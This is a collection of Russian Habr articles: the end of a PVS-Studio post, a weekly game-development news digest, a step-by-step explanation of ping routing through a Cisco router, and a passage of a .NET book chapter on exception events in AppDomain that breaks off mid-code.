* Большое количество простых ошибок можно выявить ещё на этапе написания кода, если использовать инструменты статического анализ кода. Использование таких инструментов существенно экономит время, которое может быть потрачено на поиск и отладку многих ошибок.
* Самое главное в статическом анализе — регулярное применение. Нет смысла в разовых проверках статического анализа. Вся его суть в том, чтобы найти ошибку сразу после того, как она появилась в коде. Редкие проверки отнимают много времени и приносят мало пользы. Ведь те ошибки, которые можно было найти быстро и легко, уже к этому моменту поправлены потом и кровью.
[](http://www.viva64.com/en/b/0359/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [Experimental version of PVS-Studio with C# support](http://www.viva64.com/en/b/0359/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/271993/ | null | ru | null |
# Недельный геймдев: #87 — 18 сентября, 2022
Из [новостей](https://suvitruf.ru/2022/09/19/12475/weekly-gamedev-87-18-september-2022/): Godot 4.0 наконец-то дополз до бетки, Autodesk запустили Maya Creative, релиз VCMI 1.0.0 — движка для Героев 3, Unity повысит стоимость корпоративных тарифов, W4 Games привлекла 8,5 млн долларов для поддержки развития Godot Engine, Adobe приобрела Figma за $20 млрд.
Из интересностей: визуализация общей теории относительности, доведение DLC The Riftbreaker до успеха, миленький фан-проект по Final Fantasy IX в Unreal Engine 5.
### Обновления/релизы/новости
#### Godot 4.0 наконец-то дополз до бетки
Команда шла к этому больше трёх лет. Довольно тяжело в одной заметке охватить все новшества, но [ключевое](https://godotengine.org/article/dev-snapshot-godot-4-0-beta-1):
* Рендеринг очень сильно изменился. Vulkan сейчас по умолчанию, с заделом на будущее и возможностью поддержки Direct3D 12 и других API.
* Переработана система глобального освещения, появился SDFGI, volumetric fog.
* Куча улучшений по части VFX.
* Поддержка FSR 1.0. Поддержку FSR 2.1 завезут в будущих бетках.
* Ушли от Bullet для физики в сторону Godot Physics.
* В GDScript много улучшений, завезли await, super и прочее.
* Почти допилили поддержку .NET 6 с поддержкой C# 10.
* GDExtension для написания нативных плагинов.
* Gui и TextServer для работы с текстом.
* Переработали сетевой слой.
* Появился headless mode, можно крутить Godot’овские инстансы на бекенде без графики и звука.
* И, само собой, множество улучшений в самом редакторе.
#### Autodesk запустили Maya Creative
Эта версия вроде как [выходит дешевле](https://adsknews.autodesk.com/news/autodesk-launches-maya-creative) полной версии (но прайсинг там по дурацкой системе Flex + часть функционала нет), если вы будете пользоваться софтом не на постоянной основе.
Есть ещё нюанс с тем, что работает только на Mac и Windows, а Линукс в пролёте.
#### Не нравится писать на плюсах в UE? Что ж, теперь это можно делать на Расте
Пока что это больше [proof of concept](https://maikklein.github.io/unreal-rust-1/), но начало положено.
Сорсы на [Гитхабе](https://github.com/MaikKlein/unreal-rust).
#### Релиз VCMI 1.0.0 — движка для Героев 3
После долгих лет разработки [вышла стабильная версия VCMI 1.0.0](https://dtf.ru/games/1354110-reliz-vcmi-1-0-0-dvizhka-dlya-geroev-3) — игрового движка для Heroes of Might and Magic III с открытым исходным кодом. Основной целью проекта является не только реализация ванильного геймплея третьих героев, но и встроенная поддержка модов и модулей ИИ.
Исходники на [Гитхабе](https://github.com/vcmi/vcmi/releases/).
#### Открытый игровой движок Героев Меча и Магии 2 (fheroes2) обновился до версии 0.9.19
Помимо уже имеющихся многочисленных нововведений, [был улучшен ИИ](https://github.com/ihhub/fheroes2/releases/tag/0.9.19), добавлена возможность выбора сложности прохождения оригинальных кампаний, а также возможность мгновенно завершить битву, если игрок торопится или на 100% уверен в победе.
#### Unity повысит стоимость корпоративных тарифов на 200-600 долларов
Компания объявила о поднятии цен на корпоративные тарифы, оправдывая тем, что «это отражает ценность продуктов сегодня».
Как [увеличатся цены](https://blog.unity.com/news/pro-enterprise-new-pricing):
* Unity Pro (годовая подписка) — с 1800 до 2040 долларов.
* Unity Pro (ежемесячная подписка) — со 150 до 185 долларов.
* Unity Enterprise — с 2400 до 3000 долларов в год.
* Unity Industrial Collection — с 2520 до 2950 долларов в год.
#### W4 Games привлекла 8,5 млн долларов для поддержки развития Godot Engine
Средства [будут использованы](https://w4games.com/2022/09/13/w4-games-raises-8-5-million-to-support-godot-engine-growth/) для расширения основной команды W4 Games и ускорения разработки набора продуктов и услуг для экосистемы Godot. В планах рендерер Direct3D 12 и нормальная поддержка билдов под консоли.
#### Adobe приобрела Figma за $20 млрд
Обещают, что компания [останется](https://news.adobe.com/news/news-details/2022/Adobe-to-Acquire-Figma/default.aspx) независимой.
### Халява/раздачи/бандлы/курсы
#### В честь дня программиста на Fanatical можно урвать бесплатно 4 книги
Книги из [списка](https://www.fanatical.com/en/bundle/international-day-of-the-programmer-free-giveaway):
* Creating Games with Unity, Substance Painter and Maya
* Game Audio with FMOD and Unity
* 2D Game Development with Unity
* Punk Playthings
Если нет возможности скачать с сайта, то можно у меня с [канала](https://t.me/gamedev_suffering/1851).
#### Бесплатный риг робота для Maya 2022+
Скачать можно с [Gumroad](https://raphaelcan.gumroad.com/l/dvurq).
### Интересные статьи/видео
#### Визуализация общей теории относительности
В [статье](https://michaelmoroz.github.io/TracingGeodesics/) объясняется метод моделирования и визуализации различных искажений пространства-времени.
Довольно много не самой простой математики.
#### Доведение DLC The Riftbreaker до успеха
Разработчик [сообщил](https://newsletter.gamediscover.co/p/case-study-muscling-the-riftbreakers), что на момент запуска Metal Terror в Steam было продано 383 000 копий The Riftbreaker, а на всех платформах — почти 500 000 копий. Игра также доступна на Xbox/PC Game Pass.
#### Небольшой туториал по созданию 2d дисторшн шейдера всего в несколько строк
Найдено в [Твиттере](https://twitter.com/jumpquestgame/status/1570760422143426566).
#### Разработчик детально рассказал про свой первый опыт собеседования на роль программиста геймплея для AAA-игры
Можно [почерпнуть](https://www.reddit.com/r/gamedev/comments/xbcvvt/my_first_interviewing_experience_for_aaa_gameplay/) для себя интересные моментики.
#### Создание материалов с помощью фотограмметрии и ручной работы в RealityCapture
CB3DART [рассказал](https://80.lv/articles/creating-materials-using-photogrammetry-and-manual-work-in-realitycapture/) о создании материалов с помощью фотограмметрии и ручной работы, обсудил их преимущества и поделился некоторыми советами по захвату изображений.
#### Instinction: от архитектурной визуализации до духовного преемника Dino Crisis с использованием Unreal Engine 5
Команда Unreal Engine [поговорила](https://www.unrealengine.com/en-US/developer-interviews/instinction-from-architectural-visualization-to-a-dino-crisis-spiritual-successor-using-unreal-engine-5) с COO Hashbane и соучредителем Кортни О’Нил о том, как компания перешла от архитектурной визуализации к игровому дизайну, как Unreal Engine расширил возможности обеих сфер для компаний, и как игра про динозавров привела к гранту на поддержку палеонтологии.
#### Параллельные кривые кубических Безье
Параллельные кривые применяются в 2D-графике и множестве других сфер. Точную кривую смещения кубической кривой Безье можно описать, но с ней трудно работать. Таким образом, на практике подход почти всегда заключается в вычислении аппроксимации истинной параллельной кривой.
В статье [описывается](https://raphlinus.github.io/curves/2022/09/09/parallel-beziers.html) метод создания кубической кривой Безье, параллельной другой кривой с заданным расстоянием смещения. Сравниваются различные методы и представлены примеры для экспериментов с предлагаемыми методами
#### Как создаётся реалистичная короткометражка по Top Gun в Unreal Engine 5 — вторая часть
За прошедшие два месяца автор [успел подготовить](https://dtf.ru/gamedev/1359956-kak-ya-delayu-realistichnuyu-korotkometrazhku-po-top-gun-v-unreal-engine-5-vtoraya-chast) proof of concept пересняв несколько шотов из Top Gun Maverick — не все детали повторяются в точности до идеала, но общее ощущение киношности, движения самолётов и связанных с ними эффектов вполне удалось воссоздать.
#### Разработка средневекового кооперативного хоррора на Unreal Engine 5
Мадс Брони из Haenir Studio [рассказал](https://80.lv/articles/developing-a-medieval-co-op-horror-with-unreal-engine-5/) о процессе разработки Blight: Survival, объяснил, почему для игры был выбран Unreal Engine 5, а также поведал об игровом процессе и кооперативной механике грядущей игры.
#### Почему игровые серии меняют тон?
Некоторые игровые серии сильно меняются. Разработчики боятся, что дизайн игры становится слишком устаревшим, или думают, что вкусы аудитории меняются, или что-то ещё происходит, что вынуждает их изменить курс серии. В видео рассмотрено 5 игровых серий, в которых произошли резкие изменения тона, и то, как это сработало для них.
#### Краткое введение в шейдеры и пользовательские материалы в Unity
Неплохое [введение в шейдеры](https://pavcreations.com/gentle-introduction-to-shaders-and-custom-materials-in-unity/), хотя `GetComponent` в `Update` смущает 😅
#### Как вступление к Secret of the Monkey Island заставляет вас влюбиться в игру за три минуты
И как оно [вдохновило дизайн Witchfire](https://www.theastronauts.com/2022/09/monkey-island-x-witchfire/).
#### Работа над боевой механикой, анимацией и сюжетом Angelic
Технический директор Петар Котевски [рассказал](https://80.lv/articles/angelic-working-on-combat-mechanics-animations-game-narrative/) о процессе разработки Angelic, грядущей многопользовательской стратегической ролевой игры, обсудил пошаговую боевую механику игры и объяснил, почему они выбрали Unreal Engine 5.
#### Динозавры в мультивселенной: почему DinoPowers использует анимацию в реальном времени
Команда устала от «напряжённого» оффлайн рендеринга, который отнимал многие часы и сокращал итерационные циклы. Обнаружив Unreal Engine во время VR-проекта, они [подумали](https://www.unrealengine.com/en-US/spotlights/dinosaurs-in-the-multiverse-why-dinopowers-uses-real-time-animation), что смогут достичь двух целей: отличной графики и эффективного рендеринга на одной платформе.
#### Отвёртки и пассатижи гейм-дизайнера: основные инструменты и навыки, которые пригодятся в работе
Вячеслав Сандаков, геймдизайнер в Studio Nord, [ответил](https://habr.com/ru/company/mygames/blog/688672/) на важные для новичков вопросы и дал несколько советов, которые помогут в работе начинающему геймдизайнеру.
#### Выходим за границы Dark Souls
Поиграемся немного с камерой, чтобы рассмотреть Dark Souls Remastered со всемх сторон.
#### Как настроить освещение в Unreal Engine: часть 1
Старший художник по освещению Юрий Воробьев [поделился](https://80.lv/articles/how-to-set-up-lighting-for-games-in-unreal-engine-part-1/) обширным обзором из двух частей о настройке привлекательного освещения для игр на Unreal Engine.
#### Как Aka выделилась в Твиттере
Cosmo Gatto, инди-студия из Ванкувера, разработавшая игру с открытым миром Aka, получила награду Indie CommUnity Choice Award на выставке gamescom в этом году. Команда Unity [взяла интервью у Намры](https://blog.unity.com/games/how-wholesome-game-aka-stood-out-on-twitter), ведущего разработчика студии, чтобы узнать больше о вдохновении для Aka и о том, как она привлекла внимание игрового сообщества.
#### Как нарративщик может спасти левел-дизайнера
Василий Скобелев рассказал про некоторые хитрости.
#### Круглый стол с HR: что переживает сегодня рынок труда в игровой индустрии
Попытка [разобраться](https://games.mail.ru/pc/articles/feat/kruglyj-stol-s-hr-chto-perezhivaet-segodnya-rynok-truda-v-igrovoj-industrii/), стали ли работники в РФ более уязвимы, как быть джунам в условиях жесткой конкуренции, что делать более опытным специалистам, что происходит с рынком зарплат и многое другое.
#### Создание генератора пиксельной графики для Substance 3D Painter
Художник по окружению Одай Абузаид [поделился](https://80.lv/articles/creating-a-pixel-art-generator-for-substance-3d-painter/) тем, как они пришли к идее генератора, рассказал о производственном процессе и обсудил параметры, которые могут настраивать пользователи.
#### Немного пост-мортемов: Sky, Blaseball, Space Warlord Organ Trading Simulator
В сессии с Game Career Seminar 2022 три независимых разработчика рассказывают о том, что потребовалось для создания трёх совершенно разных игр с тремя совершенно разными подходами.
#### Повышение производительности трассировки лучей с помощью Radeon Raytracing Analyzer (RRA)
В [статье](https://gpuopen.com/learn/improving-rt-perf-with-rra/) обсуждаются некоторые распространённые ошибки, с которыми могут столкнуться разработчики, как диагностировать их с помощью RRA и как исправить.
#### Библиотека шаблонов проектирования
Обширная [библиотека](https://github.com/nemanjarogic/DesignPatternsLibrary), реализованная на C#, которая охватывает различные паттерны, от наиболее часто используемых до менее известных.
#### Games Focus: рендеринг, который масштабируется в соответствии с требованиями
Новый [пост в блоге Unity](https://blog.unity.com/technology/games-focus-rendering-that-scales-with-your-needs) о том, как они продолжают улучшать Universal Render Pipeline (URP) и High Definition Render Pipeline (HDRP), чтобы помочь создавать масштабируемую графику на всех платформах, поддерживаемых Unity.
### Разное
#### FaceRig + MIDI plugin в UE
Из [Твиттера](https://twitter.com/merao/status/1571110996764413953).
#### One Punch Man
Найдено на [Реддите](https://www.reddit.com/r/Unity3D/comments/xails6/finally_managed_to_make_a_dash_melee_attack_that/).
#### Миленький фан-проект по Final Fantasy IX в Unreal Engine 5
Найдено в [Твиттере](https://twitter.com/MemoriaProject/status/1569104862247546882).
#### Ранний прототип кисти карт высот
Из [Твиттера](https://twitter.com/phyronnaz/status/1569145006052753411).
---
Если хотите поддержать выход дайджеста и других материалов, сделать это можно одним из способов.
* [На Патреоне](https://www.patreon.com/suvitruf)
* [На Boosty](https://boosty.to/apanasik)
* [Через Paypal](https://www.paypal.com/paypalme/andreiapanasik)
* [Через Яндекс.Деньги](https://yoomoney.ru/to/41001674710054) | https://habr.com/ru/post/689096/ | null | ru | null |
# 36 этапов процесса маршрутизации
Казалось бы, что может быть сложного в работе простой утилиты ping. Однако каждый раз, обнаружив,
что интернет по какой-то причине не работает, мы часто используем проверенный метод — пингуем какой-нибудь ресурс, например так:
`ping mit.edu`
Что же просходит в этот момент? В этом посте описан процесс, происходящий при попытке пропинговать узел, находящийся в другой сети, за маршрутизатором/маршрутизаторами.
Схема соединений:
ПК №1 Host\_A (172.16.10.2/24) --> порт E0 (172.16.10.1) маршрутизатора Lab\_A (2600 Router)
ПК №2 Host\_B (172.16.20.2/24) --> порт E1 (172.16.20.1) маршрутизатора Lab\_A (2600 Router)
В данном примере пользователь на Host\_A используя утилиту `ping` проверяет на доступность
IP адрес компьютера Host\_B.
**1.** На ПК №1 протокол ICMP создаёт `echo` запрос (алфавит в поле данных пакета).
**2.** ICMP передаёт запрос протоколу IP, который создаёт пакет. Минимально, в пакете содержится информация:
— IP адрес источника
— IP адрес получателя
— поле протокола 0x01
Вся эта информация говорит получателю куда он должен отправить ответ в случае удачного запроса-
в этом примере, ICMP.
**3.** Когда создан пакет, IP определяет находится ли хост с указанным IP адресом в локальной сети,
или в удалённой.
**4.** Определив, что адрес находится в удалённой сети, пакет должен быть отправлен на шлюз по умолчанию,
чтобы он мог достичь удалённой сети.
Происходит поиск в реестре сконфигурированного шлюза по умолчанию.
**5.** Шлюз по умолчанию для хоста Host\_A(172.16.10.2) указан как 172.16.10.1.
Чтобы пакет был отправлен на шлюз по умолчанию, аппаратный адрес соответствующего порта маршрутизатора (Eth0 = 172.16.10.1) должен быть известен.
Зачем? Чтобы пакет мог быть передан далее, канальному уровню, вложен в фрейм,
и затем послан на интерфейс маршрутизатора, соединённый с сетью 172.16.10.0.
По причине, что компьютеры в локальной сети общаются только по аппаратным адресам,
необходимо установить, что для хоста Host\_A для взаимодействия с Host\_B, первый должен слать пакеты
по MAC адресу шлюза по умолчанию для своей локальной сети.
**MAC адреса всегда используются локально в сети и НИКОГДА не передаются через маршрутизатор.**
**6.** Следующим шагом, ARP кэш хоста проверяется, не была ли уже установлена связь между IP адресом и MAC адресом шлюза по умолчанию. Если соотвествие было найдено, пакет может передаваться далее на канальный уровень для упаковки во фрейм
(аппаратный адрес назначения также передаётся вместе с пакетом).
Для просмотра ARP кэша используйте команду: `C:\>arp -a`
Если аппаратный адрес отсутствует в ARP кэше, широковещательный ARP запрос выполняется в локальной сети с целью нахождения аппаратного адреса для 172.16.10.1.
Маршрутизатор отвечает на запрос и сообщает MAC адрес своего порта E0.
Затем ПК №1 сохраняет этот адрес в своём ARP кэше.
**7.** Когда аппаратные адреса источника пакета и назначения доставлены на канальный уровень, драйвер LAN используется, чтобы обеспечить доступ к среде передачи данных, используемой в конкретной технологии
(в примере, Ethernet).
Затем генерируется фрейм, инкапсулируя пакет, включая в него контрольную информацию.
Во фрейме содержатся: оба аппаратных адреса, плюс в данном примере поле Ether-Type,
которое описывает протокол сетевого уровня, который передал пакет на канальный уровень- в нашем случае, IP.
В конце фрейма содержится поле FCS (Frame Check Sequence),
которое содержит код CRC. Ниже приведена структура фрейма.
Обратите внимание! Фрейм не содержит MAC адрес Host\_B.
**8.** После генерации фрейма, он будет отправлен далее, на физический уровень, для отправки по каналу передачи данных, например по витой паре, последовательно, бит за битом.
**9.** Каждое устройство в домене коллизии получает биты, восстанавливает фрейм.
Затем проверяет CRC, сравнивает ответ с полем FCS. Если ответ не совпадает, фрейм отбрасывается.
Если всё в порядке, то проверяется аппаратный адрес назначения (в нашем примере, порта E0 маршрутизатора).
Если и он совпадает, то проверяется поле Ether-Type для определения протокола сетевого уровня.
**10.** Пакет извлекается из фрейма, то что осталось от фрейма отбрасывается. Пакет передаётся протоколу, указанному в поле Ether-Type- в нашем случае IP.
**11.** IP получает пакет и проверяет IP адрес получателя. Так как IP адрес получателя не совпадает ни с одним из IP адресов сконфигурированных на маршрутизаторе интерфейсов, то маршрутизатор ищет IP адрес
сети назначения в своей таблице маршрутизации.
**12.** Таблица маршрутизации должна иметь запись для сети 172.16.20.0 иначе пакет будет немедленно отброшен, и ICMP сообщение "`Destination network unreachable`" будет отправлено устройству-
отправителю запроса.
**13.** Если соответствующая запись найдена в таблице маршрутизации, пакет перенаправляется на выходной интерфейс (E1).
Не требуются никакие протоколы маршрутизации, так как обе сети соединены напрямую.
Чтобы просмотреть таблицу
маршрутизации, введите в коммандной строке маршрутизатора команду `show ip route`
**14.** Маршрутизатор направляет пакет в буфер порта E1.
**15.** Буфер порта E1 должен знать аппаратный MAC адрес сетевой карты ПК №2 (Host\_B) и сначала проверяет ARP кэш. Если MAC адрес известен, и содержится в ARP кэше, тогда пакет и аппаратный адрес передаются на канальный уровень для упаковки во фрейм. Для просмотра ARP кэша используйте команду show ip arp
Если аппаратный адрес отсутствует в ARP кэше, широковещательный ARP запрос выполняется в локальной сети с целью нахождения аппаратного адреса для 172.16.20.2. Host\_B отвечает на запрос и сообщает свой MAC адрес. Затем маршрутизатор сохраняет этот адрес в своём ARP кэше, а пакет с адресом передаются на канальный уровень для упаковки во фрейм.
**16.** На канальном уровне создаётся фрейм с аппаратными адресами источника (E1) и получателя, полем Ether-Type и FCS.
После генерации фрейма, он будет отправлен далее, на физический уровень, для отправки по каналу передачи данных, например по витой паре, последовательно, бит за битом.
**17.** Host\_B получает фрейм, запускает CRC. Если результат совпадает с FCS, проверяется MAC адрес получателя. Если проверка успешна, просматривается поле Ether-Type для определения протокола сетевого уровня, которому предназначен пакет, в нашем случае, IP.
**18.** На сетевом уровне: IP получает пакет и проверяет IP адрес получателя. Если найдено совпадение, просматривает поле Protocol для определения протокола- получателя запроса.
**19.** Запрос перенаправляется ICMP, ICMP «понимает» что это echo запрос, и отвечает на него немедленно, отбрасывая пакет и генерируя echo ответ.
**20.** Генерируется пакет, включающий в себя адреса источника и приёмника, поле Protocol и информационную часть. Получатель теперь- Host\_A.
**21.** Когда создан пакет, IP определяет находится ли хост с указанным IP адресом в локальной сети, или в удалённой. Определив, что адрес находится в удалённой сети, пакет должен быть отправлен на шлюз по умолчанию, чтобы он мог достичь удалённой сети.
**22.** IP адрес шлюза по умолчанию берётся из базы ОС, затем просматривается ARP кэш на наличие соответствия между IP и аппаратным адресом.
**23.** Когда аппаратный адрес шлюза по умолчанию найден, аппаратные адреса источника и получателя (E1) передаются вместе с пакетом на канальный уровень для упаковки во фрейм.
**24.** На канальном уровне формируется фрейм со следующей информацией в заголовке: MAC адреса источника и получателя, поле Ether-Type (0x0800 (IP)), поле FCS с результатом CRC.
**25.** После генерации фрейма, он будет отправлен далее, на физический уровень, для отправки по каналу передачи данных, например по витой паре, последовательно, бит за битом.
**26.** Информация, последовательно, бит за битом, поступает на интерфейс E1 маршрутизатора. Затем восстанавливается фрейм. Запускается CRC, результат сравнивается с полем FCS.
**27.** В случае успешной проверки CRC проверяется аппаратный адрес приёмника. В случае совпадения пакет извлекается из фрейма, просматривается поле Ether-Type для определения какому протоколу сетевого уровня предназначался пакет.
**28.** Пакет предназначен для IP. IP проверяет заголовок на наличие ошибок, затем просматривает IP адрес получателя.
**29.** В нашем случае маршрутизатор «знает» путь к сети 172.16.10.0 — интерфейс E0, так что пакет перенаправляется на E0.
**30.** Маршрутизатор просматривает ARP кэш на наличие аппаратного адреса для 172.16.10.2.
**31.** Аппаратный адрес уже известен, он был выяснен во время отправки запроса по прямому каналу, таким образом аппаратные адреса и пакет передаются на канальный уровень.
**32.** На канальном уровне генерируется фрейм с аппаратными адресами источника и получателя, IP в поле Ether-Type и результатом CRC в FCS.
**33.** После генерации фрейма, он будет отправлен далее, на физический уровень, для отправки по каналу передачи данных, например по витой паре, последовательно, бит за битом.
**34.** ПК №1 получает фрейм, запускает CRC, проверяет аппаратный адрес получателя, просматривает поле Ether-Type для определения протокола- получателя пакета.
**35.** Получатель- IP. IP проверяет поле Protocol, находит инструкцию- передать информационное сообщение ICMP, он, в свою очередь определяет, что это- ответ на echo запрос (echo reply).
**36.** ICMP сигнализирует о получении ответа путём отправки знака `!` в консоль.
Затем ICMP генерирует ещё 4 запроса.
С каждым новым маршрутизатором на пути прохождения пакета этапы повторяются, логика же остается неизменной.
Материал взят из самоучителя для подготовки к экзамену CCNA
Спасибо за внимание. | https://habr.com/ru/post/83047/ | null | ru | null |
# [DotNetBook] События об исключительных ситуациях и как на пустом месте получить StackOverflow и ExecutionEngineException
События об исключительных ситуациях
-----------------------------------
В общем случае мы не всегда знаем о тех исключениях, которые произойдут в наших программах потому что практически всегда мы используем что-то, что написано другими людьми и что находится в других подсистемах и библиотеках. Мало того что возможны самые разные ситуации в вашем собственном коде, в коде других библиотек, так еще и существует множество проблем, связанных с исполнением кода в изолированных доменах. И как раз в этом случае было бы крайне полезно уметь получать данные о работе изолированного кода. Ведь вполне реальной может быть ситуация, когда сторонний код перехватывает все без исключения ошибки, заглушив их `fault` блоком:
```
try {
// ...
} catch {
// do nothing, just to make code call more safe
}
```
В такой ситуации может оказаться что выполнение кода уже не так безопасно как выглядит, но сообщений о том что произошли какие-то проблемы мы не имеем. Второй вариант — когда приложение глушит некоторое, пусть даже легальное, исключение. А результат — следующее исключение в случайном месте вызовет падение приложения в некотором будущем от случайной казалось бы ошибки. Тут хотелось бы иметь представление, какая была предыстория этой ошибки. Каков ход событий привел к такой ситуации. И один из способов сделать это возможным — использовать дополнительные события, которые относятся к исключительным ситуациям: `AppDomain.FirstChanceException` и `AppDomain.UnhandledException`.
> ### Примечание
>
>
>
> Глава, опубликованная на Хабре не обновляется и возможно, уже несколько устарела. А потому, прошу обратиться за более свежим текстом к оригиналу:
>
>
>
> *  CLR Book: [GitHub, оглавление](https://github.com/sidristij/dotnetbook/)
> *  CLR Book: [GitHub, глава](https://github.com/sidristij/dotnetbook/blob/master/ExceptionalFlow/3-Exceptions-Events.md)
> *  Релиз 0.5.2 книги, PDF: [GitHub Release](https://github.com/sidristij/dotnetbook/releases/tag/0.5.2)
>
>
>
>
[](https://habr.com/ru/company/clrium/blog/465081/)
Фактически, когда вы "бросаете исключение", то вызывается обычный метод некоторой внутренней подсистемы `Throw`, который внутри себя проделывает следующие операции:
* Вызывает `AppDomain.FirstChanceException`
* Ищет в цепочке обработчиков подходящий по фильтрам
* Вызывает обработчик предварительно откатив стек на нужный кадр
* Если обработчик найден не был, вызывается `AppDomain.UnhandledException`, обрушивая поток, в котором произошло исключение.
Сразу следует оговориться, ответив на мучающий многие умы вопрос: есть ли возможность как-то отменить исключение, возникшее в неконтролируемом коде, который исполняется в изолированном домене, не обрушивая тем самым поток, в котором это исключение было выброшено? Ответ лаконичен и прост: нет. Если исключение не перехватывается на всем диапазоне вызванных методов, оно не может быть обработано в принципе. Иначе возникает странная ситуация: если мы при помощи `AppDomain.FirstChanceException` обрабатываем (некий синтетический `catch`) исключение, то на какой кадр должен откатиться стек потока? Как это задать в рамках правил .NET CLR? Никак. Это просто не возможно. Единственное что мы можем сделать — запротоколировать полученную информацию для будущих исследований.
Второе, о чем следует рассказать "на берегу" — это почему эти события введены не у `Thread`, а у `AppDomain`. Ведь если следовать логике, исключения возникают где? В потоке исполнения команд. Т.е. фактически у `Thread`. Так почему же проблемы возникают у домена? Ответ очень прост: для каких ситуаций создавались `AppDomain.FirstChanceException` и `AppDomain.UnhandledException`? Помимо всего прочего — для создания песочниц для плагинов. Т.е. для ситуаций, когда есть некий `AppDomain`, который настроен на PartialTrust. Внутри этого AppDomain может происходить что угодно: там в любой момент могут создаваться потоки, или использоваться уже существующие из ThreadPool. Тогда получается что мы, будучи находясь снаружи от этого процесса (не мы писали тот код) не можем никак подписаться на события внутренних потоков. Просто потому что мы понятия не имеем что там за потоки были созданы. Зато мы гарантированно имеем `AppDomain`, который организует песочницу и ссылка на который у нас есть.
Итак, по факту нам предоставляется два краевых события: что-то произошло, чего не предполагалось (`FirstChanceExecption`) и "все плохо", никто не обработал исключительную ситуацию: она оказалась не предусмотренной. А потому поток исполнения команд не имеет смысла и он (`Thread`) будет отгружен.
Что можно получить, имея данные события и почему плохо что разработчики обходят эти события стороной?
### AppDomain.FirstChanceException
Это событие по своей сути носит чисто информационный характер и не может быть "обработано". Его задача — уведомить вас что в рамках данного домена произошло исключение и оно после обработки события начнет обрабатываться кодом приложения. Его исполнение несет за собой пару особенностей, о которых необходимо помнить во время проектирования обработчика.
Но давайте для начала посмотрим на простой синтетический пример его обработки:
```
void Main()
{
var counter = 0;
AppDomain.CurrentDomain.FirstChanceException += (_, args) => {
Console.WriteLine(args.Exception.Message);
if(++counter == 1) {
throw new ArgumentOutOfRangeException();
}
};
throw new Exception("Hello!");
}
```
Чем примечателен данный код? Где бы некий код ни сгенерировал бы исключение первое что произойдет — это его логгирование в консоль. Т.е. даже если вы забудете или не сможете предусмотреть обработку некоторого типа исключения оно все равно появится в журнале событий, которое вы организуете. Второе — несколько странное условие выброса внутреннего исключения. Все дело в том что внутри обработчика `FirstChanceException` вы не можете просто взять и бросить еще одно исключение. Скорее даже так: внутри обработчика FirstChanceException вы *не имеете возможности* бросить хоть какое-либо исключение. Если вы так сделаете, возможны два варианта событий. При первом, если бы не было условия `if(++counter == 1)`, мы бы получили бесконечный выброс `FirstChanceException` для все новых и новых `ArgumentOutOfRangeException`. А что это значит? Это значит, что на определенном этапе мы бы получили `StackOverflowException`: `throw new Exception("Hello!")` вызывает CLR метод Throw, который вызывает `FirstChanceException`, который вызывает `Throw` уже для `ArgumentOutOfRangeException` и далее — по рекурсии. Второй вариант — мы защитились по глубине рекурсии при помощи условия по `counter`. Т.е. в данном случае мы бросаем исключение только один раз. Результат более чем неожиданный: мы получим исключительную ситуацию, которая фактически отрабатывает внутри инструкции `Throw`. А что подходит более всего для данного типа ошибки? Согласно ECMA-335 если инструкция была введена в исключительное положение, должно быть выброшено `ExecutionEngineException`! А эту исключительную ситуацию мы обработать никак не в состоянии. Она приводит к полному вылету из приложения. Какие же варианты безопасной обработки у нас есть?
Первое, что приходит в голову — это выставить `try-catch` блок на весь код обработчика `FirstChanceException`:
```
void Main()
{
var fceStarted = false;
var sync = new object();
EventHandler handler;
handler = new EventHandler((\_, args) =>
{
lock (sync)
{
if (fceStarted)
{
// Этот код по сути - заглушка, призванная уведомить что исключение по своей сути - родилось не в основном коде приложения,
// а в try блоке ниже.
Console.WriteLine($"FirstChanceException inside FirstChanceException ({args.Exception.GetType().FullName})");
return;
}
fceStarted = true;
try
{
// не безопасное логгирование куда угодно. Например, в БД
Console.WriteLine(args.Exception.Message);
throw new ArgumentOutOfRangeException();
}
catch (Exception exception)
{
// это логгирование должно быть максимально безопасным
Console.WriteLine("Success");
}
finally
{
fceStarted = false;
}
}
});
AppDomain.CurrentDomain.FirstChanceException += handler;
try
{
throw new Exception("Hello!");
} finally {
AppDomain.CurrentDomain.FirstChanceException -= handler;
}
}
OUTPUT:
Hello!
Specified argument was out of the range of valid values.
FirstChanceException inside FirstChanceException (System.ArgumentOutOfRangeException)
Success
!Exception: Hello!
```
Т.е. с одной стороны у нас есть код обработки события `FirstChanceException`, а с другой — дополнительный код обработки исключений в самом `FirstChanceException`. Однако методики логгирования обоих ситуаций должны отличаться. Если логгирование обработки события может идти как угодно, то обработка ошибки логики обработки `FirstChanceException` должно идти без исключительных ситуаций в принципе. Второе, что вы наверняка заметили — это синхронизация между потоками. Тут может возникнуть вопрос: зачем она тут если любое исключение рождено в каком-либо потоке а значит `FirstChanceException` по идее должен быть потокобезопасным. Однако, все не так жизнерадостно. `FirstChanceException` у нас возникает у AppDomain. А это значит, что он возникает для любого потока, стартованного в определенном домене. Т.е. если у нас есть домен, внутри которого стартовано несколько потоков, то `FirstChanceException` могут идти в параллель. А это значит, что нам необходимо как-то защитить себя синхронизацией: например при помощи `lock`.
Второй способ — попробовать увести обработку в соседний поток, принадлежащий другому домену приложений. Однако тут стоит оговориться что при такой реализации мы должны построить выделенный домен именно под эту задачу чтобы не получилось так что этот домен могут положить другие потоки, которые являются рабочими:
```
static void Main()
{
using (ApplicationLogger.Go(AppDomain.CurrentDomain))
{
throw new Exception("Hello!");
}
}
public class ApplicationLogger : MarshalByRefObject
{
ConcurrentQueue queue = new ConcurrentQueue();
CancellationTokenSource cancellation;
ManualResetEvent @event;
public void LogFCE(Exception message)
{
queue.Enqueue(message);
}
private void StartThread()
{
cancellation = new CancellationTokenSource();
@event = new ManualResetEvent(false);
var thread = new Thread(() =>
{
while (!cancellation.IsCancellationRequested)
{
if (queue.TryDequeue(out var exception))
{
Console.WriteLine(exception.Message);
}
Thread.Yield();
}
@event.Set();
});
thread.Start();
}
private void StopAndWait()
{
cancellation.Cancel();
@event.WaitOne();
}
public static IDisposable Go(AppDomain observable)
{
var dom = AppDomain.CreateDomain("ApplicationLogger", null, new AppDomainSetup
{
ApplicationBase = AppDomain.CurrentDomain.BaseDirectory,
});
